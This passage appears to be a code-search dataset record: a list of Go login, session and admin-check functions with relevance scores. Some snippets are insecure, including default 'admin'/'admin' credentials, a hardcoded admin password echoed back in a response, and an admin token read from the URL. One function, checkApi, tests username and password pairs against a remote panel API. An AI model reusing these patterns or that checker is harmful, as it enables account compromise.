{\n\t\tlog.Println(\"Template.Parse:\", err)\n\t\thttp.Error(w, \"Internal Server Error 0x0178\", http.StatusInternalServerError)\n\t}\n\n\tif err := t.Execute(w, data); err != nil {\n\t\tlog.Println(\"Template.Execute:\", err)\n\t\thttp.Error(w, \"Internal Server Error 0x0183\", http.StatusInternalServerError)\n\t}\n}", "func (s *Service) IsAdmin(ctx context.Context, id int64) (isAdmin bool) {\n\tsql := `SELECT is_admin FROM managers WHERE id = $1`\n\terr := s.pool.QueryRow(ctx, sql, id).Scan(&isAdmin)\n\tif err != nil {\n\t\tlog.Println(err)\n\t\treturn false\n\t}\n\treturn\n}", "func (s *Server) getAdminAllowed(c *gin.Context) bool {\n\tobj, ok := c.Get(ctxAdminAllowedKey)\n\n\tadminAllowed := false\n\n\tif !ok {\n\t\treturn false\n\t}\n\n\tadminAllowed, ok = obj.(bool)\n\n\tif !ok {\n\t\treturn false\n\t}\n\n\treturn adminAllowed\n\n}", "func amAdmin() bool {\n\t_, err := os.Open(\"\\\\\\\\.\\\\PHYSICALDRIVE0\")\n\tif err != nil {\n\t\treturn false\t//not admin\n\t}\n\treturn true\t\t//admin\n}", "func (a *Ares) getBotandAdmin() {\n\tapi := slack.New(a.SlackAppToken)\n\tusers, err := api.GetUsers()\n\n\tif err != nil {\n\t\tlog.Fatal(\"Failed to fetch slack users info\", err.Error())\n\t}\n\n\ta.Users = make(map[string]string)\n\ta.MutedUsers = make(map[string]bool)\n\n\tfor _, user := range users {\n\n\t\tif user.Profile.ApiAppID == a.SlackAppID {\n\t\t\ta.BotUserID = user.ID\n\t\t}\n\n\t\tif user.IsAdmin {\n\t\t\ta.Admins = append(a.Admins, user.ID)\n\t\t} else {\n\t\t\ta.Users[user.Name] = user.ID\n\t\t}\n\t}\n\n\tif a.BotUserID == \"\" {\n\t\tlog.Fatal(\"Unable to find bot user on the Slack\")\n\t}\n}", "func adminPrivHandler(c *web.C, h http.Handler) http.Handler {\n\tfn := func(w http.ResponseWriter, r *http.Request) {\n\t\tvar adminPriv bool\n\t\tif len(adminToken) != 0 {\n\t\t\tqueryAdminToken := r.URL.Query().Get(\"admintoken\")\n\t\t\tadminPriv = (queryAdminToken == adminToken)\n\t\t}\n\t\tc.Env[\"adminPriv\"] = adminPriv\n\t\th.ServeHTTP(w, r)\n\t}\n\treturn http.HandlerFunc(fn)\n}", "func (me TxsdContactRole) IsAdmin() bool { return me.String() == \"admin\" }", "func Login(w http.ResponseWriter, r *http.Request) {\n\tfmt.Println(\"login called\")\n}", "func Login(res http.ResponseWriter, req *http.Request) (bool, string) {\n\tname := req.FormValue(NameParameter)\n\tname = html.EscapeString(name)\n\tlog.Debugf(\"Log in user. Name: %s\", name)\n\tif name != \"\" {\n\t\tuuid := generateRandomUUID()\n\t\tsuccess := authClient.SetRequest(uuid, name)\n\t\tif success {\n\t\t\tcookiesManager.SetCookieValue(res, CookieName, uuid)\n\t\t}\n\t\t// successfully loged in\n\t\tif success {\n\t\t\treturn success, \"\"\n\t\t} else {\n\t\t\treturn success, \"authServerFail\"\n\t\t}\n\n\t}\n\n\treturn false, \"noName\"\n}", "func AdminInitOnBoot(s *mgo.Session) error {\n\n\tfmt.Println(\"/////////////////////////////////////////////////\")\n\tfmt.Println(\"AdminInitFromBoot\")\n\tfmt.Println(\"/////////////////////////////////////////////////\")\n\n\tc := s.DB(DatabaseName).C(CollUser)\n\n\tvar result model.User\n\tc.Find(bson.M{\"userid\": \"[email protected]\"}).One(&result)\n\tif result.UserNo != \"\" {\n\t\treturn nil\n\t}\n\n\tnow := time.Now()\n\tfmt.Println(\"admin inserted at \" + now.String())\n\tvar insert = model.User{\n\t\tUserId: \"admin\",\n\t\tPassword: \"admin\",\n\t\tUserType: 4,\n\t\tCreateDateTime: now,\n\t\tState: 1,\n\t\tActivated: 0,\n\t}\n\terr := c.Insert(&insert)\n\treturn err\n}", "func CheckAuth(c *gin.Context) {\n\n}", "func (_CrToken *CrTokenSession) Admin() (common.Address, error) {\n\treturn _CrToken.Contract.Admin(&_CrToken.CallOpts)\n}", "func Login() {\n\tfmt.Println(\"--------\")\n\tfmt.Println(\"Log In\")\n\tfmt.Println(\"--------\")\n\n\tfmt.Printf(\"Enter your email address: \")\n\tfmt.Scanln(&pd.email)\n\n\tfmt.Printf(\"Enter your password: \")\n\tfmt.Scanln(&pd.password)\n\n\t/* Finding login info in database */\n\tdatabase.Findaccount(pd.email, pd.password)\n}", "func AccepAdmin(c *gin.Context) {\r\n\tvar accountemp []model.UserTemporary\r\n\r\n\tif err := c.Bind(&accountemp); err != nil {\r\n\t\tutils.WrapAPIError(c, err.Error(), http.StatusBadRequest)\r\n\t\treturn\r\n\t}\r\n\r\n\t//fmt.Println(account)\r\n\r\n\t//q := model.DB.Save(&account)\r\n\r\n\t//approve akun\r\n\tq := model.DB.Delete(&accountemp)\r\n\trow := q.RowsAffected\r\n\r\n\tutils.WrapAPIData(c, map[string]interface{}{\r\n\t\t\"Data\": accountemp,\r\n\t\t\"Row affected\": row,\r\n\t}, http.StatusOK, \"success\")\r\n\r\n}", "func Authorize(c *gin.Context){\n\n\tusername := c.PostForm(\"username\")\n\tpassword := c.PostForm(\"password\")\n\n\tfmt.Println(\"Podaci: \", username, password)\n\n\tif (username==\"admin\" && password==\"sifra7182\"){\n\t\tc.JSON(http.StatusOK, gin.H{\"success\": true, \"msg\": \"now you are authorized\", \"username\": adminUsername, \"password\": adminPassword})\n\t\treturn\n\t}\n\n\tc.JSON(400, gin.H{\"success\": false, \"msg\": \"Unable to authorize, please check given credentials\", \"errCode\": 21})\n\treturn\n}", "func Login(user *User) {\n\tif(user.Username == \"\" || user.Password==\"\"){\n\t\tfmt.Println(\"you need to input the username and password,for example:\\n./agenda login -u=zhangzemian -p=12345678\\n\")\n\t\treturn\n\t}\n\tAllUserInfo := Get_all_user_info()\n\tflog, err := os.OpenFile(\"data/input_output.log\", os.O_APPEND|os.O_WRONLY, 0600)\n\tdefer flog.Close()\n\tcheck_err(err)\n\tlogger := log.New(flog, \"\", log.LstdFlags)\n\n\tif Get_cur_user_name() != \"\" {\n\t\tos.Stdout.WriteString(\"[agenda][warning]You have log in already\\n\")\n\t\treturn\n\t}\n\tif _, ok := AllUserInfo[user.Username]; !ok {\n\t\tos.Stdout.WriteString(\"[agenda][error]Username or password is incorrect!\\n\")\n\t} else {\n\t\tcorrectPass := AllUserInfo[user.Username].Password\n\t\tif correctPass == user.Password {\n\t\t\tfout, _ := os.Create(\"data/current.txt\")\n\t\t\tdefer fout.Close()\n\t\t\tfout.WriteString(user.Username)\n\t\t\tos.Stdout.WriteString(\"[agenda][info]\"+user.Username+\" haved logged in\\n\")\n\t\t\tlogger.Print(\"[agenda][info]\"+user.Username+\" haved logged in\\n\")\n\t\t} else {\n\t\t\tos.Stdout.WriteString(\"[agenda][error]Username or password is incorrect!\\n\")\n\t\t}\n\t}\n}", "func LoginAccessChecker(username string) bool {\n\treturn username == \"admin\"\n}", "func (app *MgmtApp) defaultNotifyClientAuthenticated(client Client) {\n loge.Info(\"New user on system: %v\", client.Username())\n}", "func ValidAdmin(organization string, w http.ResponseWriter, r *http.Request) bool {\n\ttoken, err := authsdk.NewJWTTokenFromRequest(r)\n\tif err != nil {\n\t\tfmt.Printf(\"Error getting JWT Token: %v\\n\", err)\n\t\thttp.Error(w, \"Invalid Token\", http.StatusUnauthorized) //401\n\t\treturn false\n\t}\n\tisAdmin, err := token.IsOrgAdmin(organization)\n\tif err != nil {\n\t\tfmt.Printf(\"Error checking caller is an Org Admin: %v\\n\", err) //401\n\t\thttp.Error(w, \"\", http.StatusUnauthorized)\n\t\treturn false\n\t}\n\tif !isAdmin {\n\t\t//Throwing a 403\n\t\tfmt.Printf(\"Caller isn't an Org Admin\\n\")\n\t\thttp.Error(w, \"You aren't an Org Admin\", http.StatusForbidden) //403\n\t\treturn false\n\t}\n\treturn true\n}", "func Checklogin(c *fiber.Ctx) {\n\tvar usuario models.User\n\temail := c.FormValue(\"email\")\n\tpassword := c.FormValue(\"password\")\n\n\tmodels.Dbcon.Where(\"email = ?\", email).Find(&usuario)\n\tdatos := fiber.Map{\n\t\t\"title\": views.Comunes.Title,\n\t\t\"user\": \"\",\n\t\t\"role\": \"\",\n\t\t\"mensajeflash\": \"\",\n\t}\n\tif grecaptcha := validateCaptcha(c.FormValue(\"g-recaptcha-response\")); !grecaptcha {\n\t\tdatos[\"mensajeflash\"] = \"Este sistema sólo es para humanos\"\n\t\tc.SendStatus(http.StatusForbidden)\n\t\tc.Render(\"login\", datos, \"layouts/main\")\n\t\treturn\n\t}\n\n\tfmt.Println(datos, \"layouts/main\")\n\tif len(usuario.Email) < 1 {\n\t\tdatos[\"mensajeflash\"] = \"Correo-e o contraseña incorrectos\"\n\t\tc.SendStatus(http.StatusForbidden)\n\t\tc.Render(\"login\", datos, \"layouts/main\")\n\t\treturn\n\t}\n\tif err := bcrypt.CompareHashAndPassword([]byte(usuario.Password), []byte(password)); err != nil {\n\t\tdatos[\"mensajeflash\"] = \"Correo-e o contraseña incorrectos\"\n\t\tc.SendStatus(http.StatusForbidden)\n\t\tc.Render(\"login\", datos, \"layouts/main\")\n\t\treturn\n\t}\n\tfmt.Println(\"Login: Successful\")\n\tdatos[\"user\"] = usuario.Username\n\tvar rol models.Role\n\tmodels.Dbcon.Where(\"id = ?\", usuario.RoleID).Find(&rol)\n\tvar err error\n\tPToken, err = CrearToken(usuario.Username, rol.Role)\n\tdatos[\"role\"] = rol.Role\n\tif err != nil {\n\t\tfmt.Println(\"ERROR creating token\")\n\t\treturn\n\t}\n\tcookie.Name = \"frontends1\"\n\tcookie.Value = strings.TrimSpace(PToken)\n\tcookie.Expires = time.Now().Add(15 * time.Minute)\n\tcookie.Domain = Cdomain\n\tc.Cookie(&cookie)\n\tfmt.Println(\"Logged in as: \", usuario.Username)\n\tfmt.Println(\"Role: \", rol.Role)\n\tc.Redirect(\"/\", http.StatusMovedPermanently)\n}", "func IsAdmin(next echo.HandlerFunc) echo.HandlerFunc {\n\treturn func(c echo.Context) error {\n\t\tuser := c.Get(\"user\").(*jwt.Token)\n\t\tclaims := user.Claims.(jwt.MapClaims)\n\t\tisAdmin := claims[\"admin\"].(bool)\n\t\tif isAdmin == false {\n\t\t\t//res.Response(http.StatusUnauthorized, \"Unauthorized\", nil)\n\t\t\treturn echo.ErrUnauthorized\n\t\t}\n\t\t//res.Response(http.StatusOK, \"\", nil)\n\t\treturn next(c)\n\t}\n}", "func isloggedin(ctx context.Context) error {\n\tuser, ok := controllers.IsLoggedIn(ctx)\n\tif ok {\n\t\tsession, _ := core.GetSession(ctx.HttpRequest())\n\t\tuserInfo := struct {\n\t\t\tSessionID string `json:\"sessionid\"`\n\t\t\tId string `json:\"id\"`\n\t\t\tName string `json:\"name\"`\n\t\t\tEmail string `json:\"email\"`\n\t\t\tApiToken string `json:\"apitoken\"`\n\t\t}{\n\t\t\tSessionID: session.ID,\n\t\t\tId: user.Id.Hex(),\n\t\t\tName: user.Name,\n\t\t\tEmail: user.Email,\n\t\t\tApiToken: user.Person.ApiToken,\n\t\t}\n\t\tdata, err := json.Marshal(userInfo)\n\t\tif err != nil {\n\t\t\tlog.Error(\"Unable to marshal: \", err)\n\t\t\treturn goweb.Respond.WithStatus(ctx, http.StatusInternalServerError)\n\t\t}\n\t\tctx.HttpResponseWriter().Header().Set(\"Content-Type\", \"application/json\")\n\t\treturn goweb.Respond.With(ctx, http.StatusOK, data)\n\t}\n\treturn goweb.Respond.WithStatus(ctx, http.StatusUnauthorized)\n}", "func (_Cakevault *CakevaultSession) Admin() (common.Address, error) {\n\treturn _Cakevault.Contract.Admin(&_Cakevault.CallOpts)\n}", "func (a *App) Login(w http.ResponseWriter, r *http.Request) {\n\tvar resp = map[string]interface{}{\"status\": \"success\", \"message\": \"logged in\"}\n\n\tuser := &models.User{}\n\tbody, err := ioutil.ReadAll(r.Body)\n\tif err != nil {\n\t\tresponses.ERROR(w, http.StatusBadRequest, err)\n\t\treturn\n\t}\n\n\terr = json.Unmarshal(body, &user)\n\tif err != nil {\n\t\tresponses.ERROR(w, http.StatusBadRequest, err)\n\t\treturn\n\t}\n\n\tuser.Prepare() // here strip the text of white spaces\n\n\terr = user.Validate(\"login\") // fields(email, password) are validated\n\tif err != nil {\n\t\tresponses.ERROR(w, http.StatusBadRequest, err)\n\t\treturn\n\t}\n\n\tusr, err := user.GetUser(a.DB)\n\tif err != nil {\n\t\tresponses.ERROR(w, http.StatusInternalServerError, err)\n\t\treturn\n\t}\n\n\tif usr == nil { // user is not registered\n\t\tresp[\"status\"] = \"failed\"\n\t\tresp[\"message\"] = \"Login failed, please signup\"\n\t\tresponses.JSON(w, http.StatusBadRequest, resp)\n\t\treturn\n\t}\n\n\terr = models.CheckPasswordHash(user.Password, usr.Password)\n\tif err != nil {\n\t\tresp[\"status\"] = \"failed\"\n\t\tresp[\"message\"] = \"Login failed, please try again\"\n\t\tresponses.JSON(w, http.StatusForbidden, resp)\n\t\treturn\n\t}\n\ttoken, err := utils.EncodeAuthToken(usr.ID)\n\tif err != nil {\n\t\tresponses.ERROR(w, http.StatusBadRequest, err)\n\t\treturn\n\t}\n\n\tresp[\"token\"] = token\n\tresponses.JSON(w, http.StatusOK, resp)\n\treturn\n}", "func userCurrent(w http.ResponseWriter, r *http.Request) {}", "func loadMainLogin(w http.ResponseWriter, r *http.Request) {\n\ts := tmpls.Lookup(\"mainLogin.tmpl\")\n\tp := &Page{\n\t\tPageName: \"mainLogin\",\n\t\tRole: \"\",\n\t\tUsername: \"\",\n\t\tCalendar: false,\n\t}\n\ts.ExecuteTemplate(w, \"content\", p)\n}", "func (c *Controller) AdminOnly(next http.Handler) http.Handler {\n\treturn http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tadminID := c.Sessions.GetString(r.Context(), \"id\")\n\t\tif adminID == \"\" {\n\t\t\thttp.Error(w, \"You are not logged in\", http.StatusForbidden)\n\t\t\treturn\n\t\t}\n\t\tnext.ServeHTTP(w, r)\n\t})\n}", "func (pr *PasswordRecord) IsAdmin() bool {\n\treturn pr.Admin\n}", "func AdminHandler(w http.ResponseWriter, r *http.Request) {\n\tpush(w, \"/static/style.css\")\n\tpush(w, \"/static/navigation_bar.css\")\n\tw.Header().Set(\"Content-Type\", \"text/html; charset=utf-8\")\n\n\tfullData := map[string]interface{}{\n\t\t\"NavigationBar\": template.HTML(navigationBarHTML),\n\t}\n\t// pass from global variables\n\tif !BasicAuth(w, r, username, password) {\n\t\tw.Header().Set(\"WWW-Authenticate\", `Basic realm=\"Admin protected.\"`)\n\t\tw.WriteHeader(401)\n\t\tw.Write([]byte(\"401 Unauthorized\\n\"))\n\t\treturn\n\t}\n\n\trender(w, r, adminViewTpl, \"admin_view\", fullData)\n}", "func AdminCheck(s *discordgo.Session, m *discordgo.MessageCreate, server discordgo.Guild) (admin bool) {\n\tif m.Author.ID == server.OwnerID {\n\t\tadmin = true\n\t} else {\n\t\tmember, _ := s.GuildMember(server.ID, m.Author.ID)\n\t\tfor _, roleID := range member.Roles {\n\t\t\trole, err := s.State.Role(m.GuildID, roleID)\n\t\t\tif err == nil && (role.Permissions&discordgo.PermissionAdministrator != 0 || role.Permissions&discordgo.PermissionManageServer != 0) {\n\t\t\t\tadmin = true\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t}\n\treturn admin\n}", "func checkLogin(c appengine.Context, rw http.ResponseWriter, req *http.Request) *user.User {\n\tu := user.Current(c)\n\tif u == nil {\n\t\turl, err := user.LoginURL(c, req.URL.String())\n\t\tif err != nil {\n\t\t\thttp.Error(rw, err.Error(), http.StatusInternalServerError)\n\t\t\treturn nil\n\t\t}\n\t\trw.Header().Set(\"Location\", url)\n\t\trw.WriteHeader(http.StatusFound)\n\t\treturn nil\n\t}\n\treturn u\n}", "func (uc UserController) AdminLoginPage(w http.ResponseWriter, req *http.Request, s httprouter.Params) {\n\terr := view.ExecuteTemplate(w, \"login.html\", nil)\n\tHandleError(w, err)\n}", "func (marketApp *MarketPlaceApp) LockAdmin() error {\n return marketApp.Lock(3)\n}", "func (marketApp *MarketPlaceApp) LockAdmin() error {\n return marketApp.Lock(3)\n}", "func accessLogin(mail string) bool {\n\tif len(Cfg.Access) == 0 {\n\t\treturn true\n\t}\n\tfor _, a := range Cfg.Access {\n\t\tif a.all {\n\t\t\treturn a.Allow\n\t\t}\n\t\tfor _, re := range a.re {\n\t\t\tif re.MatchString(mail) {\n\t\t\t\treturn a.Allow\n\t\t\t}\n\t\t}\n\t}\n\treturn true\n}", "func (d *webData) modifyAdminWeb(w http.ResponseWriter, r *http.Request) {\n\tip := r.RemoteAddr\n\tadminID := 0\n\t//query the userDB for all users and put the returning slice with result in p\n\tu := storage.QuerySingleUserInfo(d.PDB, adminID)\n\n\t//Execute the web for modify users, range over p to make the select user drop down menu\n\terr := d.tpl.ExecuteTemplate(w, \"modifyUserCompletePage\", u)\n\tif err != nil {\n\t\tfmt.Fprint(w, \"Error: modifyAdminWeb: template execution error = \", err)\n\t}\n\n\t//Write out all the info of the selected user to the web\n\n\terr = d.tpl.ExecuteTemplate(w, \"modifyUser\", u) //bruk bare en spesifik slice av struct og send til html template\n\tif err != nil {\n\t\tlog.Println(ip, \"modifyAdminWeb: error = \", err)\n\t}\n\n\tr.ParseForm()\n\n\t//create a variable based on user to hold the values parsed from the modify web\n\tuForm := storage.User{}\n\t//get all the values like name etc. from the form, and put them in u\n\tgetFormValuesUserInfo(&uForm, r)\n\tchanged := false\n\tchanged, u = checkUserFormChanged(uForm, u)\n\n\t//Check what values that are changed\n\n\t//if any of the values was changed....update information into database\n\tif changed {\n\t\tstorage.UpdateUser(d.PDB, u)\n\n\t\t//Execute the redirect to modifyAdmin to refresh page\n\t\terr := d.tpl.ExecuteTemplate(w, \"redirectTomodifyAdmin\", u)\n\t\tif err != nil {\n\t\t\tfmt.Fprint(w, \"Error: modifyAdminWeb: template execution error = \", err)\n\t\t}\n\t}\n}", "func checkApi(user,pass,server string) {\n\n\n\t//Post Data\n\tapiurl := fmt.Sprintf(\"%s/panel_api.php?username=%s&password=%s\",server, user, pass)\n\n\n\n\treq, err := http.NewRequest(\"GET\", apiurl, nil)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\t// Set the HTTP headers\n\treq.Header.Set(os.ExpandEnv(\"Accept\"), \"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\")\n\treq.Header.Set(os.ExpandEnv(\"User-Agent\"), \"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0\")\n\treq.Header.Set(os.ExpandEnv(\"Cookie\"), \"PHPSESSID=xxxxxxvsu1m9icq22astlb6vx\")\n\n\tresp, err := http.DefaultClient.Do(req)\n\tif err != nil {\n\t\t// handle err\n\t\tlog.Fatal(err)\n\t}\n\n\tresponseData, err := ioutil.ReadAll(resp.Body)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\t// Make Response a String\n\tresponseString := string(responseData)\n\n\t// if 404 error print and error out.\n\tif (err == nil) && (resp.StatusCode == 404) {\n\t\tfmt.Println(\"HTTP Body: \" + (responseString))\n\t\tfmt.Println(\"404 Error Usually means the page does not exsist.\")\n\t\tos.Exit(1)\n\t}\n\n\t// If debug is enabled this will print the HTTP response and Body\n\tif *verbose == \"yes\" {\n\t\tfmt.Println(\"HTTP Response Status: \" + strconv.Itoa(resp.StatusCode))\n\t\tfmt.Println(\"HTTP Body: \" + (responseString))\n\t}\n\n\t//If Active is found in the response we have a working login.\n\n\tif strings.Contains(responseString,\"Active\" ) == true {\n\t\tfmt.Println(\"[*] Working Login Found..Checking if account is active. [*]\")\n\t\tlineDetails(server,user,pass)\n\t} else {\n\t\tif *pause != \"no\" {\n\t\t\ttime.Sleep(5 * time.Second)\n\t\t}\n\t\tfmt.Println(\"\\n[*] Incorrect Username and Password [*]\")\n\t}\n\n}", "func isLoggedIn(req *http.Request) bool {\n\tloginCookie, err := req.Cookie(\"loginCookie\")\n\tif err != nil {\n\t\treturn false\n\t}\n\tusername := mapSessions[loginCookie.Value]\n\t_, ok := mapUsers[username]\n\treturn ok\n}", "func (_CrToken *CrTokenCallerSession) Admin() (common.Address, error) {\n\treturn _CrToken.Contract.Admin(&_CrToken.CallOpts)\n}", "func (_Cakevault *CakevaultCallerSession) Admin() (common.Address, error) {\n\treturn _Cakevault.Contract.Admin(&_Cakevault.CallOpts)\n}", "func (this *BaseController) toggleAdmin(ctx *gin.Context) {\n\tsid := ctx.Param(\"id\")\n\tid, _ := strconv.ParseUint(sid, 10, 64)\n\n\tisadmin := ctx.PostForm(\"isadmin\")\n\tbadmin, err := strconv.ParseBool(isadmin)\n\tif err != nil {\n\t\tctx.JSON(200, gin.H{\"code\": -1, \"msg\": \"是否管理员请传入1或0\"})\n\t\treturn\n\t}\n\n\tu := this.getUserInfo(ctx)\n\tif (uint64)(u.ID) == id {\n\t\tctx.JSON(200, gin.H{\"code\": -1, \"msg\": \"账户不能设置自己的权限!\"})\n\t\treturn\n\t}\n\n\tvar uoth model.User\n\tthis.Context.DB.Where(\"id=?\", sid).First(&uoth)\n\tif uoth.ID > 0 {\n\t\tuoth.IsAdmin = badmin\n\t\tif err := this.Context.DB.Save(&uoth); err.Error != nil {\n\t\t\tctx.JSON(200, gin.H{\"code\": -1, \"msg\": \"出现错误:\" + err.Error.Error()})\n\t\t\treturn\n\t\t} else {\n\t\t\tctx.JSON(200, gin.H{\"code\": -1, \"msg\": \"操作成功\"})\n\t\t\treturn\n\t\t}\n\t} else { // User Not Found\n\t\tctx.JSON(200, gin.H{\"code\": -1, \"msg\": \"未找到指定ID的用户,请检查传入数据是否正确\"})\n\t\treturn\n\t}\n}", "func (d *DB) IsAdmin(uuid string) (bool, error) {\n\tcnt := 0\n\tr := d.db.QueryRow(\"SELECT COUNT(*) FROM teammember INNER JOIN username ON teamuuid = uuid WHERE useruuid = $1 AND username = $2\", uuid, teamNameAdmin)\n\terr := r.Scan(&cnt)\n\tif err != nil {\n\t\treturn false, err\n\t}\n\n\treturn cnt == 1, nil\n}", "func IsLoggedIn(r *http.Request) bool {\n\tsession, err := loggedUserSession.Get(r, \"authenticated-user-session\")\n\tif err != nil || session.Values[\"username\"] != \"admin\" {\n\t\treturn false\n\t}\n\treturn true\n}", "func LoginChefOrAdmin(password string, r *http.Request) (models.Session, models.Auth, error) {\n\n\tvar auth models.Auth\n\tvar users []models.User\n\n\tsession, err := GetSession(r)\n\n\tif err != nil {\n\t\treturn session, auth, err\n\t}\n\n\tc := Controller{}\n\tdata, err := c.Load(r)\n\n\tif err != nil {\n\t\treturn session, auth, err\n\t}\n\n\tfor _, u := range data.Users {\n\t\tif u.Password == password {\n\t\t\tusers = append(users, u)\n\t\t}\n\t}\n\n\tif len(users) == 1 {\n\t\tuser := users[0]\n\n\t\tif session.UserID == user.ID {\n\n\t\t\t// upgrade auth with full authorized level\n\t\t\tsession.AuthorizedLevel = user.UserLevel\n\t\t\tvar updated []models.Session\n\t\t\tfor _, s := range data.Sessions {\n\t\t\t\tif s.UUID == session.UUID {\n\t\t\t\t\tupdated = append(updated, session)\n\t\t\t\t} else {\n\t\t\t\t\tupdated = append(updated, s)\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tauth.Name = session.UserName\n\t\t\tauth.Level = session.UserLevel\n\t\t\tauth.AuthorizedLevel = session.AuthorizedLevel\n\n\t\t\t// store the session\n\t\t\terr = c.StoreSessions(updated, r)\n\n\t\t\tif err != nil {\n\t\t\t\treturn session, auth, err\n\t\t\t}\n\t\t}\n\t} else {\n\t\treturn session, auth, errTooManyUsers\n\t}\n\n\treturn session, auth, nil\n}" ]
[ "0.665762", "0.66363335", "0.6522691", "0.63126487", "0.6307976", "0.63048774", "0.62177783", "0.61199987", "0.611319", "0.60783297", "0.6050973", "0.6044232", "0.59962004", "0.5980784", "0.59500855", "0.5914631", "0.59073484", "0.58528674", "0.5847329", "0.58470595", "0.5845369", "0.58361876", "0.5820942", "0.58121467", "0.5769264", "0.5751885", "0.5738353", "0.5717932", "0.56938565", "0.5646936", "0.56259227", "0.5605233", "0.55959386", "0.5594371", "0.5589817", "0.55868405", "0.5586464", "0.55818284", "0.5576477", "0.5572295", "0.5562541", "0.55583864", "0.5557999", "0.5555628", "0.5550551", "0.55491436", "0.55464804", "0.55354434", "0.55341053", "0.55284065", "0.5526749", "0.5525215", "0.55215436", "0.5516946", "0.551603", "0.5516008", "0.549849", "0.54977703", "0.54973954", "0.549601", "0.5494835", "0.54926157", "0.5489225", "0.54860234", "0.5480543", "0.547596", "0.54727334", "0.5472549", "0.54706955", "0.54702204", "0.54644144", "0.5453467", "0.5453379", "0.54451567", "0.543225", "0.54295474", "0.5417192", "0.54163694", "0.5410892", "0.5406939", "0.5405762", "0.54054564", "0.5402442", "0.5397723", "0.5388911", "0.53753704", "0.53697973", "0.5365727", "0.5360733", "0.5355256", "0.5355256", "0.53530777", "0.53516155", "0.535125", "0.534589", "0.5341658", "0.5340106", "0.533903", "0.5333348", "0.5327255", "0.532617" ]
0.0
-1
GetIllegalLoginUsersAndIp Main purpose is to detect employees who have not logged in from office for 30days
func (action ReportAction) GetIllegalLoginUsersAndIp(activities []*admin.Activity, officeIPs []string) error { data := make(map[string]*LoginInformation) for _, activity := range activities { email := activity.Actor.Email ip := activity.IpAddress if value, ok := data[email]; ok { if !value.OfficeLogin { // If an user has logged in from not verified IP so far // then check if new IP is the one from office or not. value.OfficeLogin = containIP(officeIPs, ip) } value.LoginIPs = append(value.LoginIPs, ip) } else { data[email] = &LoginInformation{ email, containIP(officeIPs, ip), []string{ip}} } } for key, value := range data { if !value.OfficeLogin { fmt.Println(key) fmt.Print(" IP: ") fmt.Println(value.LoginIPs) } } return nil }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func IsLimitedAccess(ipaddr string, ref db.DBClient) bool {\n\tresults, err := ref.Fetch(ipaddr)\n\tif err != nil {\n\t\tlog.Fatalln(err)\n\t}\n\n\tjst, _ := time.LoadLocation(\"Asia/Tokyo\")\n\tnow := time.Now().In(jst)\n\tisLimited := false\n\tfor _, r := range results {\n\t\tvar u User\n\t\tif err := r.Unmarshal(&u); err != nil {\n\t\t\tlog.Fatalln(\"Error unmarshaling result:\", err)\n\t\t}\n\t\tintervalTime := getIntervalTime(u.Amount)\n\n\t\tdbTime, _ := time.Parse(\"2006-01-02 15:04:05 -0700 MST\", u.Time)\n\t\tdbTime = dbTime.Add(time.Duration(intervalTime) * time.Hour)\n\t\tisLimited = now.Unix() < dbTime.Unix()\n\t}\n\n\treturn isLimited\n}", "func (f *Finding) BadIPs() []string {\n\treturn f.badNetwork.JSONPayload.Properties.IP\n}", "func extractNodesInternalIps(nodes []*v1.Node) []string {\n\tvar nodesList []string\n\tfor _, node := range nodes {\n\t\tfor _, address := range node.Status.Addresses {\n\t\t\tif address.Type == v1.NodeInternalIP {\n\t\t\t\tnodesList = append(nodesList, address.Address)\n\t\t\t}\n\t\t}\n\t}\n\n\treturn nodesList\n}", "func ExternalIP() (res []string) {\n\tinters, err := net.Interfaces()\n\tif err != nil {\n\t\treturn\n\t}\n\tfor _, inter := range inters {\n\t\tif !strings.HasPrefix(inter.Name, \"lo\") {\n\t\t\taddrs, err := inter.Addrs()\n\t\t\tif err != nil {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tfor _, addr := range addrs {\n\t\t\t\tif ipnet, ok := addr.(*net.IPNet); ok {\n\t\t\t\t\tif ipnet.IP.IsLoopback() || ipnet.IP.IsLinkLocalMulticast() || ipnet.IP.IsLinkLocalUnicast() {\n\t\t\t\t\t\tcontinue\n\t\t\t\t\t}\n\t\t\t\t\tif ip4 := ipnet.IP.To4(); ip4 != nil {\n\t\t\t\t\t\tswitch true {\n\t\t\t\t\t\tcase ip4[0] == 10:\n\t\t\t\t\t\t\tcontinue\n\t\t\t\t\t\tcase ip4[0] == 172 && ip4[1] >= 16 && ip4[1] <= 31:\n\t\t\t\t\t\t\tcontinue\n\t\t\t\t\t\tcase ip4[0] == 192 && ip4[1] == 168:\n\t\t\t\t\t\t\tcontinue\n\t\t\t\t\t\tdefault:\n\t\t\t\t\t\t\tres = append(res, ipnet.IP.String())\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}", "func internalIP(node corev1.Node) string {\n\tfor _, address := range node.Status.Addresses {\n\t\tif address.Type == \"InternalIP\" {\n\t\t\treturn address.Address\n\t\t}\n\t}\n\treturn \"\"\n}", "func (p *Provider) logIllegalServices(task marathon.Task, application marathon.Application) {\n\tfor _, serviceName := range p.getServiceNames(application) {\n\t\t// Check for illegal/missing ports.\n\t\tif _, err := p.processPorts(application, task, serviceName); err != nil {\n\t\t\tlog.Warnf(\"%s has an illegal configuration: no proper port available\", identifier(application, task, serviceName))\n\t\t\tcontinue\n\t\t}\n\n\t\t// Check for illegal port label combinations.\n\t\t_, hasPortLabel := p.getLabel(application, types.LabelPort, serviceName)\n\t\t_, hasPortIndexLabel := p.getLabel(application, types.LabelPortIndex, serviceName)\n\t\tif hasPortLabel && hasPortIndexLabel {\n\t\t\tlog.Warnf(\"%s has both port and port index specified; port will take precedence\", identifier(application, task, serviceName))\n\t\t}\n\t}\n}", "func getAllIPList(provider string, model store.ClusterManagerModel) map[string]struct{} {\n\tcondProd := operator.NewLeafCondition(operator.Eq, operator.M{\"provider\": provider})\n\tclusterStatus := []string{common.StatusInitialization, common.StatusRunning, common.StatusDeleting}\n\tcondStatus := operator.NewLeafCondition(operator.In, 